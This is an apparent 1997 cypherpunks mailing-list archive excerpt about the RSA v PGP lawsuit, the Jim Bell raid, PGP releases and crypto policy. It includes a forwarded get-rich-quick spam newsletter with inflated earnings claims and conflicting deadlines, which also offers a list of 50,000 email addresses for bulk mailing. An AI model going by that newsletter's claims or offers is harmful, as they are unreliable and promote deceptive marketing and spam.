Lynne L. Harrison, Esq.       |    "The key to life:
Poughkeepsie, New York        |     - Get up;
lharrison at mhv.net             |     - Survive;
http://www.dueprocess.com     |     - Go to bed."
************************************************************

DISCLAIMER:  I am not your attorney; you are not my client.
             Accordingly, the above is *NOT* legal advice.






From gbroiles at netbox.com  Mon May 19 21:38:10 1997
From: gbroiles at netbox.com (Greg Broiles)
Date: Tue, 20 May 1997 12:38:10 +0800
Subject: RSA v PGP lawsuit
Message-ID: <3.0.1.32.19970519212159.008e1740@mail.io.com>



I drove down to the courthouse in Redwood City today and took a look at the
court file for RSA v PGP. The complaint is already online at
; there are two exhibits which accompany the
complaint in the file, Exhibit A is a 30-page patent license agreement
(which I didn't bother to have copied at $.75/page), the second is Exhibit
B, a letter from RSA's attorneys to Leonard Mikus of Lemcom Systems dated
4/16/97, which describes the basics of the dispute between RSA and PGP. I
copied the letter and have placed it online at
.

The lawsuit itself is not for monetary damages, but for declaratory and
injunctive relief - RSA is asking the court to declare that the license
agreement's provision regarding arbitration did not survive the termination
of the license; that the royalty, payment, and accounting provisions of the
license agreement did survive its termination; and for an injunction
ordering PGP to comply with the agreement's terms for paying royalties and
accounting for sales.

What I find interesting is what is not included in the suit - a claim for
patent infringement. (Such a claim can only be filed in federal court, and
this suit was filed - at the plaintiff's choice - in San Mateo County
Superior Court, a California state court.) 

The letter identifies several areas of disagreement between the parties:

1.	RSA believes it had the right to approve or reject the PGP/Lemcom merger
2.	RSA says that PGP has licensed the patent to OEM customers, in violation
of the license agreement
3.	RSA says that PGP has licensed certain source code to some customers, in
violation of the license agreement
4.	RSA says that Lemcom has not made a royalty payment since the third
quarter of 1996. (But I'm sure I saw something - in the media? - where PGP
says they've been making royalty payments.)

And the letter says that RSA is immediately terminating PGP's license to
use/make software including the RSA public-key algorithm because of those
breaches. 

PGP hadn't filed a response yet - they'll have 30 days to do so from the
date of service, and I think they were served with the suit somewhere
around the 10th of May. (There was a proof of service document in the file,
but I didn't bother having it copied.) 
--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles at netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.






From azur at netcom.com  Mon May 19 21:41:09 1997
From: azur at netcom.com (Steve Schear)
Date: Tue, 20 May 1997 12:41:09 +0800
Subject: More on the Jim Bell case
In-Reply-To: <3.0.2.32.19970519183115.00b84e30@mail.teleport.com>
Message-ID: 


>-----BEGIN PGP SIGNED MESSAGE-----
>
>The local news just had a story on the Jim Bell case.
>
>They are now claiming that the search warrent (how the news people got a copy
>is a big question) included Sarin nerve gas and Anthrax (not the band).

Nah, he told me that stuff was destroyed long ago ;-)

Can't imagine anyone going the trouble of culturing Anthrax when there's
other simpler to obtain/manufacture and almost as potent CBW agents ;;-)

>
>The news story was a pretty interesting hatchet job.  Included a number of
>horsemen and prominently mentioned encryption.

I impression was that jim didn't use encryption religously ;-(

>They claimed that the reason
>for the raid on East's home was because he sent Bell encrypted messages
>containing various evil and unauthorized thoughts.

So did a good portion of this list.

--Steve


PGP mail preferred
Fingerprint: FE 90 1A 95 9D EA 8D 61  81 2E CC A9 A4 4A FB A9
Key available on BAL server, http://www-swiss.ai.mit.edu/~bal/pks-toplev.html
---------------------------------------------------------------------
Steve Schear              | tel: (702) 658-2654
CEO                       | fax: (702) 658-2673
First ECache Corporation  |
7075 West Gowan Road      |
Suite 2148                |
Las Vegas, NV 89129       | Internet: azur at netcom.com
---------------------------------------------------------------------

        I know not what instruments others may use,
         but as for me, give me Ecache or give me debt.

        SHOW ME THE DIGITS!







From bob at bobsoftheworld.org  Mon May 19 21:57:37 1997
From: bob at bobsoftheworld.org (bob at bobsoftheworld.org)
Date: Tue, 20 May 1997 12:57:37 +0800
Subject: No Subject
Message-ID: <199705200438.VAA29719@www10.geocities.com>



  Hello Dave,

    There is GeoGreeting Card waiting from Bob
	 at http://www.geocities.com/GreetingCards/cards/Birthday.1323.html

	 Thanks,



	 GeoCities
	 http://www.geocities.com/






From NWS at juno.com  Tue May 20 13:16:29 1997
From: NWS at juno.com (NWS at juno.com)
Date: Tue, 20 May 1997 13:16:29 -0700 (PDT)
Subject: NWS Internet Newsletter--Complimentary Issue
Message-ID: <120075107392.80GAA056@mymail.local787.com>





       __/ __/ __/ __/ __/ __/ __/ __/ __/ __/ __/ __/ __/

                    Net.WWWorth STRATEGIES 
                    *INTERNET  NEWSLETTER*  
                                          
        
       __/ __/ __/ __/ __/ __/ __/ __/ __/ __/ __/ __/ __/


   (C) NET.WWWORTH STRATEGIES ------- Week of May 20, 1997
 _____________________________________________________________________
|_____________________________________________________________________|


WELCOME  to the "Net.WWWorth STRATEGIES Internet Newsletter", your
Guide to Success in Marketing On the Internet!

Due to prior interest in topics presented here, we have sent you this 
Free copy of the NWS Internet Newsletter.   If for any reason you 
decide you do not want to continue to receive this Newsletter in the
future, please see the end of this Issue for easy instructions to 
subscribe or un-subscribe.

In future issues you will find highlights of online articles placed on 
the Net.WWWorth Strategies Web site designed to provide valuable 
information to assist you in your Home-Based Business and 
Online Marketing.

In this issue of NWS Internet Newsletter, you will also find New
Strategies that will provide you with successful "netvertising" tips 
and techniques.

* Please Note: Net.WWWorth STRATEGIES does NOT make available its 
subscriber list to other companies. We value each and every subscriber
and respect your privacy.


_______________________________________________________________________

^^^^^^^^^^^^^^^^^^^^^> IN THIS ISSUE <^^^^^^^^^^^^^^^^^^^^^^

1.  Wealth Building on the Internet!

2.  PERFECT CREDIT!  Free Software to Repair or Improve Your Credit!
       
3.  Using Online Classified Advertising for FREE!
    (Over 2 Dozen Listing Sites you can use NOW for FREE!)
______________________________________________________________________

Net.WWWorth STRATEGIES Internet Newsletter       SECTION 1 
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
               WEALTH BUILDING ON THE INTERNET

^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

Do you know how to use email?  Then you should be making money hand 
over fist on the Internet!  Many are earning Thousands Weekly simply
by using this one idea....

By the time you're finished reading this article, you'll know EXACTLY
how others are doing it, and how YOU can too!

>	Introducing the New  Net.WWWorth STRATEGIES 
>	"INTERNET WEALTH BUILDING SYSTEM."

With this system you will be able to make a bundle of money on the 
Internet in a short time.  Here's why....

The "Internet population explosion" is now under way.  The actual 
numbers are a little hard to fathom, but here they are....

Last year in 1996 over A MILLION people per MONTH signed up with an 
Internet access provider!  That's over 12 MILLION people per year!  
Even if this rate remains the same, and many expect it to increase, 
there will be more than 100 MILLION people online by the year 2000!

So what does this mean to you?  Simple.  Like you, many of these 12 
MILLION newcomers per year will be looking for legitimate business 
opportunities.  They'll also be looking for specialized information 
that will teach them how to start and operate their own high income, 
online business.  The fact is, there are simply just not enough sources
to meet these overwhelming demands!

                THAT'S WHERE YOU COME IN!

You can meet BOTH of these demands with this Complete "INTERNET 
WEALTH BUILDING SYSTEM!"  With 5,952 new people joining the Web 
EVERY HOUR you will never run out of people needing this valuable
information to earn money from home with their computer.

	WHAT YOU WILL RECEIVE IN THIS ALL NEW 
        Net.WWWorth STRATEGIES "INTERNET WEALTH BUILDING SYSTEM" 
	IS INCREDIBLE!  SEE FOR YOURSELF, AND YOU'LL AGREE!

1. "The Amazing Inside Secrets to Profitable Online Marketing".

2. "The Ultimate Business Guide to Making Money on the Internet"

3. "The Professionals Secrets of Search Engine Positioning!" 
We have seen similar inferior reports selling on the Internet for as 
much as $59. (We sell ours all day long for $9.95 without trying!)

4. Over 2000 links where you can place classified ads and promote
yourself online for FREE!

5. "The Information Freeway", Profit From The Internet! 
A 32 page manual (In Text File Format) that will teach you 
everything you need to know about making money online! You Also 
Receive Complete and UNLIMITED Ownership Rights.

	This is the Informative Manual You've Been Waiting for,
	and You Will Own It, AND be able to RESELL It!

This manual will teach you just how easy it is to use the Internet 
for profit! The demand for information like this is growing daily!  
This is a $30.00 Value.

6. "Beyond The Basics of ... INTERNET E-MAIL!"
Our Brand New Updated Version for 1997

Have you ever thought about marketing your product or service on the
Internet?  Very wise decision!  It's no secret that the Internet has
recently developed into the hottest marketing medium since television!

This book will answer every question you've ever had about email!
(The technical issues as well as the marketing issues.) 

Anyone marketing a product or service on the Internet will watch
their sales soar once they put this knowledge to work for them! And as
your profits increase, your actual time spent working, will decline! 
A $30.00 Value! (36 Pages In Text File Format).

7. "Learning To Drive Your Modem!"
This report  will teach you how to access Bulletin Board Systems 
(BBS's) for Fun and Even More Profit! A $15.00 Value! 

8. We Will Send You A Listing Of  OVER 500 ONLINE SOURCES 
Where You Can Advertise Any Product Absolutely FREE!!

9. You'll Also Receive the Best Selling Book on Disc...

	"HOW TO MAKE A FORTUNE FROM A PRODUCT YOU CAN GET FREE!" 
	by Murry Broach

This is the best book ever written about selling information by direct
marketing. It leaves nothing out. It will practically take you by the
hand and give you the most complete education in direct marketing 
that money can buy! Advertised on the Internet for $45.00!

HERE'S A SMALL PORTION OF WHAT BROACH'S BOOK REVEALS:

* How to project your final ad result when you have only a few 
    days of results.
* Exactly which magazines pull the most profitable response.
* How a letter to your own mother could be the most profitable 
   letter you ever write.
* The single most important line in your direct mail piece and how 
   to get it right. 
* How to save at least 17% on all your newspaper and magazine 
   advertising.
* How you can easily advertise FREE in Card Decks and other print ads.
* The most difficult magazine in which to place an ad (this one will 
   certainly surprise you.)
* Step by Step how to write a classified ad that pulls response like 
   crazy!
* How to deal with federal and state regulatory agencies.
* How to deal with the mail order rip-off artists.
* Where to place a small display ad for maximum response.
* A "by-product" of the mail order business that could make you as 
   much profit as your main operation.
* The one thing that will always kill a classified ad in its tracks!
* The 10 best selling information subjects of all time.
* How to easily DOUBLE the pull of a commission circular!

10. AND YOU ALSO RECEIVE HIS OTHER BEST SELLING 
BOOK ON DISK...

 	"Revolutionary New Method of .... ADVERTISING FREE"
 	by Murry Broach & Charles Linko

THIS BOOK TEACHES YOU how to never pay for advertising again.
Little known secrets about advertising on the Internet, In newsgroups,
Mailing Lists and BBS's. BY ITSELF this book sells for $40.00 as
Advertised on the Internet, but you get it at no additional cost!


11.  The NEW Version of "Secrets of Online and Electronic Marketing"

This Report (Complete - 20 Pages - In Text File Format.) is SO FULL
of Useful Information that it would be worth the money at almost any
price. This comprehensive guide reveals Secrets that the "Experts"
hope you won't find out. The so called  experts hope you Don't See this
information because they want you to pay them $99.00, $200.00 or 
even $295.00 for the exact same material. Once You Have This 
Information in Your Hands You Will Have Unlocked the Secrets to
Successfully Utilizing Online and Electronic Marketing.

12. And, we  will also include at No Extra Cost another program, 
"U.S. Daily Newspapers". This will give you the names, addresses, 
etc., of OVER 1500 Newspapers across the United States to advertise 
in..

> Also, You Will Receive New FREE Bonus Reports For Making More 
> Money on the Internet and Starting Your Own Business!

13. Plus, Some Very Special Software to Create Your Very Own 
Information Products!  This easy to use program will allow you 
to create your own electronic books, newsletters and order-
generating reports. Upload them to the Commercial Services 
(AOL, CompuServe, etc.), the Internet and the thousands 
BBS's around the world. If it is a quality E-book or report,
it will be picked up by hundreds, perhaps thousands, of other 
computer users and distribution points all over the world. 
Which could mean thousands of orders for  YOU!!
        

*** PLUS LOOK at These FREE BONUS Reports!

A) "The Secrets of Internet and Online Marketing in 1997!"
   (Totally Different from the report title mentioned above.)

B) "How to Buy and Sell Products Online!"

C) "How to Advertise On The Internet!"

D) "How to Be a High Paid Online Information Broker!"

E) "How to Use the Major Online Services for Almost Nothing!"

F) "How to Start and Operate Your Very Own Home-Based Business!"
   (A Complete Guide,  Over 25 Pages When Printed.)

G) "How to Easily Create Your Own Information Products!"

H) "The Inside Secrets of Credit Repair, Online!" 

YOU RECEIVE ALL THIS, PLUS MORE! You won't find a more complete
package anywhere!  SEVEN DISKS, ALMOST 10 MEGABYTES OF INFORMATION!

>>> SPECIAL FREE BONUS! <<<
*** Also, As A Special BONUS You Will Receive
    A Computer Program To Make Copies Of Your New Disks FAST!

As a Special FREE BONUS you will get a FAST DISK COPYING
SOFTWARE PROGRAM. You will be able to make duplicates of 
your new disks in about 2 minutes (maybe less) per disk, average 
from start to finish. Also, this program will let you format your 
3 1/2" floppy disks up to 1.76 (MB's) Megabytes. Put More Files 
and Information on Every Disk You Have! This is an Extremely Easy 
Program to use.


********************************************************************
As the owner of a computer, we know that you too are asking the 
question of the 90's and beyond:  Can You Really Make Money Online? 
Serious Money with My Computer...WITHOUT ANY SPECIAL TALENTS or SKILLS?

THE ANSWER IS YES! Yes, to the tune of TENS OF 
THOUSANDS OF DOLLARS!

Selling Information By Mail is the World's EASIEST and 
LOWEST-PRICED Home Business For YOU To Get Started In!!!

In Today's World, One of the Hottest Selling and Most Profitable
Commodities is "INFORMATION". Now You Can  CA$H IN BIG  With This 
Complete Business Package of New Software Containing Page 
After Page of Money-Making Information, over 1,000 reports in all!


>>> THAT'S RIGHT!  OVER 1,000  REPORTS ON DISK! (Updated for 1997)

A Few Sample Titles:

1. Survival Tips For Small Business
2. The Lazy Person's Secrets To Overnight Wealth
3. Secret's Of Getting FREE Advertising
4. Secret's Of Success With Chain Letters
5. How To Get Big Dollars In Your Mailbox Everyday
6. The Selling Secret's of Million Dollar Sales Letters
7. The Money-Maker's Guide To Easy Mail Order Riches
8. Insiders Secrets to Your Own Million $$$ Multi-Level Empire
9. Secrets  Of  The  Richest  People
10. How To Get A Visa or MasterCard With No Credit Check
        

Plus, HUNDREDS and HUNDREDS MORE!

If you have seen these reports selling on the Internet, you may have
seen a similar CD-ROM with only about half as many Reports being sold
for $99.95. These are the exact same Files plus many, MANY NEW ONES
(Reports & Guides), except Now they're on 3 1/2" computer disks for a 
MUCH LOWER COST!.

You WILL Receive OVER 1,000 MONEY-MAKING Reports 
on  3.5" disk. Each Report has been Professionally Researched 
and Written.  OVER 8 Megabytes of Money-Making Information 
in Several Self-Extracting Win-Zip Files.  When the Reports are printed 
out in 12 point type you will have... SO  MANY  PAGES OF INFORMATION!  
It Will Take You Over 2 Weeks to Read All of it.

```````````````````
IT'S  YOUR  CHOICE!

Other Companies On The World Wide Web Are Selling some of
These Same Reports For $15.00 to $50.00 Each!

*Think Of The Money You Will Make!*

If you have seen others selling some of these reports, or similar
packages, Look No Further!

> This is Your BEST MONEY-MAKING DEAL on the Internet! GUARANTEED!!!

These 7 Disks Can Bring In a  HUGE INCOME When You Use 
Them Yourself Or Sell Them for a BIG PROFIT!

1. Use the Information on the Disks in Your Own Business or for
   Your Own Personal  Use!  Discover Money-Making & Business Tips You  
   Never  Dreamed  Existed!

2. Print the Reports and Sell Them Individually for $5.00 to $25.00 
   Each -- or MORE!!

3. Sell Copies of Each Disk for $10.00 to $30.00 Each or Sell Them
   as a Complete Information Package. Disk Packages Like This
   Sell for OVER $100!!

********************************************************************

>>>   Here is a Summary of the Important Benefits of the         <<<
>>>   Net.WWWorth STRATEGIES "INTERNET WEALTH BUILDING SYSTEM"   <<<

* UNLIMITED  INCOME  POTENTIAL!

* No Inventory To Carry and Very Easy To Reproduce!

* Extremely High Mark Up!

* Easy and Inexpensive to Ship Via First Class Mail or UPS!

* Ideal as a Primary Offer or as a Follow Up Offer to 
  Existing Customers!

* A Very Large Market With A MASSIVELY High Market Demand!

* LOW START-UP COSTS With NO REAL COMPETITION!

* You Can Operate It Anywhere and Your Income Will 
  Last for Years!

* YOU WILL RECEIVE FULL LIFETIME REPRINT AND RESELL RIGHTS!!

Reprint and Resell Rights Mean That You Have FULL Authority 
to Sell A Particular Disk or Report. In Addition, You Also Have 
The Authority to Sell These Same Reproduction Rights to Others.
Without Ever Paying ANY Royalties.

The Profit Margin is VIRTUALLY UNLIMITED, because you 
purchase all this Valuable Information ONCE and sell it OVER 
and OVER and OVER Again!

And because you own the LIFETIME Reprint Rights to these valuable
reports, you can edit or alter them any way you like. Your only limits
are your own imagination!

Don't worry if you've never tried selling information reports before.
The INSIDER SECRETS revealed in the Net.WWWorth STRATEGIES
"INTERNET WEALTH BUILDING SYSTEM" will teach you everything you'll
ever need to know to SUCCEED on the Net!  

In fact, the information ALONE, without any reprint rights, is worth 
hundreds, perhaps thousands of dollars! We think you'll be amazed by the 
Quality of these Books, Reports and Guides.  Just follow these Proven 
Money-Making techniques and Orders Will Begin to FLOOD your mailbox 
with CA$H !!

************************************************************************
        OK--Let's get down to the nitty gritty!

I'm sure you're thinking, "O.K.  Sounds good, but how much is this gonna 
set me back financially?"  You've seen what others are charging for 
information that's not nearly as comprehensive as this...$200? $150?
or even $75?

	>>>  Well, Prepare To Be Shocked!  <<<

   This Entire INTERNET WEALTH BUILDING SYSTEM IS ONLY $59.95*

* This Package is normally $59.95, but because so many of our 
subscribers and others have emailed Net.WWWorth STRATEGIES asking us
for information on marketing online,  we are running
the following Special with this one-time-only  test-market.

This SYSTEM will teach YOU EVERYTHING we are doing, and how YOU can be
SUCCESSFUL at it, too!  So how about a SPECIAL TEMPORARY PRICE of 
ONLY *** $39.95!!!

>>>>>>>>>>>>>>>>>>> YES!!!  ONLY $39.95 <<<<<<<<<<<<<<<<<<<<<<<<

That is ONE THIRD OFF the regular low price!  You save TWENTY DOLLARS!

>!!!!!NOTE==> See ORDER FORM Below for temporary SPECIAL PRICE!!!!!
>  We're making this Entire SYSTEM available for JUST $29.95--
>                 That's HALF OFF!!!
>   (This is not our regular offer. This offer is only effective 
>    through the last week of May '97!)  ORDER NOW!

> *** ALSO See ORDER FORM for Special Bonus Disk Offer! ***

A few people have told us this whole thing sounds too good to
be true!  Well I assure it's not!  But you don't have to take our
word for it.  Here are some recent customer comments from new
NETrepreneurs who ordered their SYSTEM just a few weeks ago....

---------------------------------------------------------------------
>Dear Net.WWWorth STRATEGIES,
>
>Thanks for the "INTERNET WEALTH BUILDING SYSTEM!"
>I had the hardest time putting it down until I had read (or at least
>looked at) almost all of the reports.  There is so much valuable
>information here!  I've owned the SYSTEM for only three weeks now
>and I already have sold lots of copies.  Almost everyone I sent the 
>Sales Letter your information taught me how to write has bought the 
>Package!  I plan on making a ton of money with this over the next few
>months! Thanks for this amazing opportunity!
>
>Mike Stratton, UT

---------------------------------------------------------------------
>Thank You Net.WWWorth STRATEGIES!
>
>I followed your SYSTEM exactly as you taught me to, and within 10 days
>from receiving my package, I have made 37 sales!  This system is
>INCREDIBLE!  I can't wait to see just how much MORE amazing the 
>results are going to be, for me AND my customers!
>
>Doug Lewis, WI
---------------------------------------------------------------------

TAKE ACTION and SEE some RESULTS FOR YOURSELF!  Whether you're anxious
to use the information for yourself, or to market and resell the product
the way the SYSTEM teaches you to do,  IT'S TIME TO TAKE YOUR CURRENT
SUCCESS TO THE NEXT LEVEL!

Even if you sell only ONE SYSTEM, you've broken even!  Everything after
that is PURE PROFIT!

Remember: Others Are Selling Inferior Information for Hundreds 
of  Dollars More, and Our Program is Priceless! Yet it Can be Yours 
For Only $39.95!  Now that you know what you stand to gain, let's 
consider what you have to risk. "Just $39.95," I hear you say?--Wrong!!!

This is a totally RISK FREE opportunity!  We offer a 30 DAY 
FULL MONEY BACK GUARANTEE!  If for any reason you feel that this 
opportunity is not for you, simply return the SYSTEM for an IMMEDIATE
REFUND!  NO QUESTIONS ASKED!

..And remember, not only will you be learning the most up to date
information about making money online, you'll also be teaching others 
how to succeed! (And making money in the process!)

TAKE ACTION NOW!  

You have NO RISK, and UNLIMITED OPPORTUNITY to succeed!
=====================================================================
_____________________________________________________________________
Ordering the New Net.WWWorth STRATEGIES INTERNET WEALTH-
BUILDING SYSTEM is easy!

You can send your order by:
Email, FAX, or Post-Mail

Net.WWWorth STRATEGIES accepts:

Personal Checks, Money Orders, "Quick Check" Checks by FAX,
VISA and MASTERCARD


\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\

>--Print this form--         --ORDER FORM--                 --cut here--

Your information:  Please fill in completely.

NAME________________________________________________________

ADDRESS_____________________________________________________

CITY____________________________STATE________ZIP____________

E-MAIL ADDRESS______________________________________________
(You will receive E-mail confirmation the day your order is received.)

TELEPHONE # _____________________________(required for personal checks)

To Order, CHECK ONE:

_________ I am ordering within 3 DAYS from receiving my Complimentary
          Issue of the "NWS Internet Newsletter."
          Please include me in this exclusive Test-Market Special and
          send me the complete "INTERNET WEALTH BUILDING SYSTEM"  AND
          ALL of the FREE Bonus Reports...
          for the Incredible Price of only 
          $39.95 + $5.95 S&H within the U.S. and Canada ($45.90 total)
          $39.95 + $8.95 S&H outside the U.S. and Canada ($48.90 total)
>>> ***Disregard Above Price!  
    Temporarily only $29.95 + 5.95 S&H = $35.90 total!!!
>   HALF OFF THE REGULAR PRICE -- GOOD ONLY IF ORDERED BY MARCH 31!!!

_________ I am ordering after the 3 DAY period.  Send me the complete
          "INTERNET WEALTH BUILDING SYSTEM" for $59.95 + $5.95 S&H.
          ($65.90 total)

_________ Please send me The Bonus Disk ...for ONLY an additional $15.
          BONUS DISK contains 50,000 Responsive email addresses of 
          Online Opportunity Seekers (normally priced at $79.95.)
          AND The DeskTop Money Machine (normally priced at $24.95.)
          ... ALL for ONLY an additional $15.

Send Payment for AMOUNT SELECTED ABOVE.
********************************************************************

METHOD of PAYMENT:

_________ Check (by Postal Mail)           _________ VISA
_________ Check by FAX (QuickChex)         _________ MASTERCARD 
_________ Money Order  

For Credit Card Orders...

Name as it appears on card__________________________________________

Credit Card Account Number__________________________________________

Exp. Date_____________Signature_____________________________________

____________________________________________________________________
* Please make check or money order payable to: Net.WWWorth STRATEGIES

     Email orders to:  mailto:NWS at net-wwworth.com
OR FAX your order to:  Net.WWWorth STRATEGIES  (608) 825-3403  

OR Postmail order to:  Net.WWWorth STRATEGIES
                       4514 Monona Drive, Suite 490
                       Madison, WI 53716

*** NOTICE!
PLEASE Remember to E-mail us with your Name and Shipping Address
to let us know you are placing an order.  In the Subject Line Put: 
"INTERNET WEALTH BUILDING SYSTEM"  We will have Your Package
Ready to Mail Out PRIORITY MAIL to you the day we receive it. 
We want to make sure You to Get Your Order as Fast as Possible.

E-mail us at==> mailto:NWS at net-wwworth.com


      /=====================================================\
        *** If Faxing your payment by "Quick Check" ...                   
                          
                             
            
        1. Please tape completed                                      
           check here ==>                                           
                                                                   
        2. Fax this Order Form to (608) 825-3403.                                                                                                                                                               
           (your account will be charged electronically.)             
                                                                 
     \======================================================/

We are always available by E-Mail for Complete FREE Consultation. 
We Want to Help You Succeed in Marketing YOUR Business Online. We 
will help you in any way we can to assist you in reaching your goals. 

The Opportunity Is Yours, Why Not Make Some MONEY With Your Personal
Computer! It's Easy, Fun, and Very, Very Profitable!!!

THE MARKET IS HERE - TODAY!  TAKE ADVANTAGE OF IT!  NOW!

\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
////////////////////////////////////////////////////////////////////
 

Net.WWWorth STRATEGIES Internet Newsletter       SECTION 2 
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^  
                   PERFECT CREDIT!  
   Free Software to Repair or Improve Your Credit!
       
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

>>>             Download for FREE               <<<
a valuable software program to help you improve and 
secure an excellent credit rating!
             
  FREE SOFTWARE  ***The Inside Secrets of Credit Repair!***

  Everything you need to repair your own credit.  FOR FREE! 

  Learn about your rights to dispute credit report statements 
  that are:  inaccurate, out dated, don't belong to you or 
  can't be verified!  
  (FACT: one third of ALL credit profile entries are INACCURATE!)

   * Use this program to obtain your credit report. 
   * Have at your disposal pre-written, proven effective
     dispute statements.
   * Learn how to start fresh with a AAA Credit Report.
   * Learn how to use your Federally granted legal rights to challenge 
     negative entries in your credit profile.

  This Credit Repair program will guide you through the steps 
  necessary to restore your credit rating LEGALLY, and with the 
  least amount of effort and cost!  

  FREE SOFTWARE  ***The Inside Secrets of Credit Repair!***
  Everything you need to repair your own credit.  FOR FREE! 

  CLICK HERE ==> ftp://gen.com/pub/wwworth/CreditRepair.exe

\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
////////////////////////////////////////////////////////////////////
 

Net.WWWorth STRATEGIES Internet Newsletter       SECTION 3 
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^  
        Using Online Classified Advertising for FREE
      (Over A Dozen Ad Sites you can use NOW for FREE!)
  
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
 by: Morgan Westerman

 Hello fellow "Net-reprepreneur"

 In the time you've been using the Internet, you've possibly responded
 to an Online Classified Ad, or perhaps you've placed an Ad on the
 WWW or with Newsgroups. Maybe you're like I was a few months ago, and
 are fairly new to the Internet--so maybe you haven't yet learned how
 powerful the 'Net can be for whatever business you're in.

 I'd like to pass on something to you for FREE that I wish 
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 ______________________________________________________________________
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 mailto:admin at net-wwworth.com


\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
//////////////////////////////////////////////////////////////////////// 

 _____________________________________________________________________
|_____________________________________________________________________|
     (C) NET.WWWORTH STRATEGIES ------- Week of May 20, 1997

To SUBSCRIBE to the "Net.WWWorth STRATEGIES Internet Newsletter," and 
receive your FREE bi-weekly copy filled with valuable information...
mailto:newsletter at net-wwworth.com  with "SUBSCRIBE" in the subject.

to UNSUBSCRIBE, mailto:newsletter at net-wwworth.com with the word
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We Wish you the BEST of WEALTH and PROSPERITY!

* Note - 
This electronic newsletter is Copyright (C)1997, Net.WWWorth STRATEGIES.
No portion may be altered or reproduced without prior written consent 
from the publisher.       







From shamrock at netcom.com  Mon May 19 22:22:15 1997
From: shamrock at netcom.com (Lucky Green)
Date: Tue, 20 May 1997 13:22:15 +0800
Subject: PGP 5.0 beta is out at PGP.com
Message-ID: <3.0.32.19970519220936.00710ca0@netcom13.netcom.com>


At 12:20 AM 5/20/97 -0400, Lynne L. Harrison wrote:
>-----BEGIN PGP SIGNED MESSAGE-----
>
>Well, now that I've seen some good and bad reviews regarding the beta
>version, I'm still curious to hear from someone who uses PGPMail ver. 4.5
>with Eudora Pro.  From what I've read, it seems the new beta version has
>nothing new to add - except some quirky bugs and the source code that's
>supposed to be available at some time in the future.

I used PGPMail 4.5 since it first came out. Version 5.0 adds easy lookup of
keys not on your keyring and support for PGP/MIME. And of course DSS/DH
keys. Since those are not backwards compatible, it may be a while before
they take off.



-- Lucky Green  PGP encrypted mail preferred

   "I do believe that where there is a choice only between cowardice and
    violence, I would advise violence." Mahatma Gandhi






From drink at aa.net  Mon May 19 22:33:18 1997
From: drink at aa.net (! Drive)
Date: Tue, 20 May 1997 13:33:18 +0800
Subject: Sun Exploits Encryption Loophole
Message-ID: <3.0.1.32.19970519221704.006de1c8@aa.net>



	http://www.techweb.com/investor/newsroom/tinews/may/0519sunw.html

Sun Microsystems prepares to take on federal government with plans to offer
a product from Russia that provides 128-bit and triple DES encryption over
the Internet.



-----------------------
"The user does not know what he wants, until he sees what he gets"






From nobody at huge.cajones.com  Tue May 20 00:20:01 1997
From: nobody at huge.cajones.com (Huge Cajones Remailer)
Date: Tue, 20 May 1997 15:20:01 +0800
Subject: Do Not read
Message-ID: <199705200708.AAA24279@fat.doobie.com>



-----BEGIN PGP MESSAGE-----
Version: 4.5

hIwD3DcuVanRWD0BBACzyQz4IV3J4RRc0i8Ydsgmlh3bzvL+2o2iCYJqbDMq2Hvo
qnQBfWh0YRNXSvixViwdTGiTVVjQM4KPBZaG8fct3zyplluJxWnRFjhTJ88BpBJl
mRk/srhQtOoP6G8PsaHbYRUjJWHGPJTwSNdRYJqJ0Hx53HpcaTmE27TyqkdMxqYA
AAArX4O1ji9cdvWyEhlxC3tZPOH5GgUfwrKQJniGdC3aEuWLKjUNNkTFRObAnw==
=sAgE
-----END PGP MESSAGE-----






From jk at stallion.ee  Tue May 20 02:06:44 1997
From: jk at stallion.ee (Jyri Kaljundi)
Date: Tue, 20 May 1997 17:06:44 +0800
Subject: Jim Bell goes to Jail!
In-Reply-To: <3.0.32.19970519101346.00714fe0@netcom13.netcom.com>
Message-ID: 


On Mon, 19 May 1997, Lucky Green wrote:

> I stand corrected. The essay was found in the car. However, after the essay
> was  found the agent searched the Internet for copies of the essay and
> posts by Jim Bell discussing it. The agent's original affidavit states the
> number of AP related post by Jim the fed could find via a search engine.

So how useful are things like e-mail messages and newsgroup postings in
court? Can e-mail really be used as court evidence and has it actually
been used in any cases? It might probably differ in different coutries and
states, but there must be some generl opinion about this. Is it may be up
to the police / court to decide if a message is really written by someone
who's name is under there. You can easily forge e-mail, mail headers and
mail logs. 

J�ri






From harka at nycmetro.com  Tue May 20 02:43:34 1997
From: harka at nycmetro.com (harka at nycmetro.com)
Date: Tue, 20 May 1997 17:43:34 +0800
Subject: More on the Jim Bell
Message-ID: 


-----BEGIN PGP SIGNED MESSAGE-----

 -=> Quoting In:alan at ctrl-alt-del.com to Harka <=-

 In> The news story was a pretty interesting hatchet job.  Included
 In> a number of horsemen and prominently mentioned encryption.
 In> They claimed that the reason for the raid on East's home was
 In> because he sent Bell encrypted messages containing various
 In> evil and unauthorized thoughts.

 In> Why am I not surprised...

Why am I surprised...How the hell did they know, what the messages
were about??
(Unless Jim saved his e-mails in plain-text to his hard drive,
didn't bother to use SFS or something similar and all this stuff was
recovered as a result of the initial search of his house. In which
case a lot of list-members might want to start thinking about
various possibilities...)

Ciao

Harka

... This is as bad as it can get -- but don't bet on it.

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

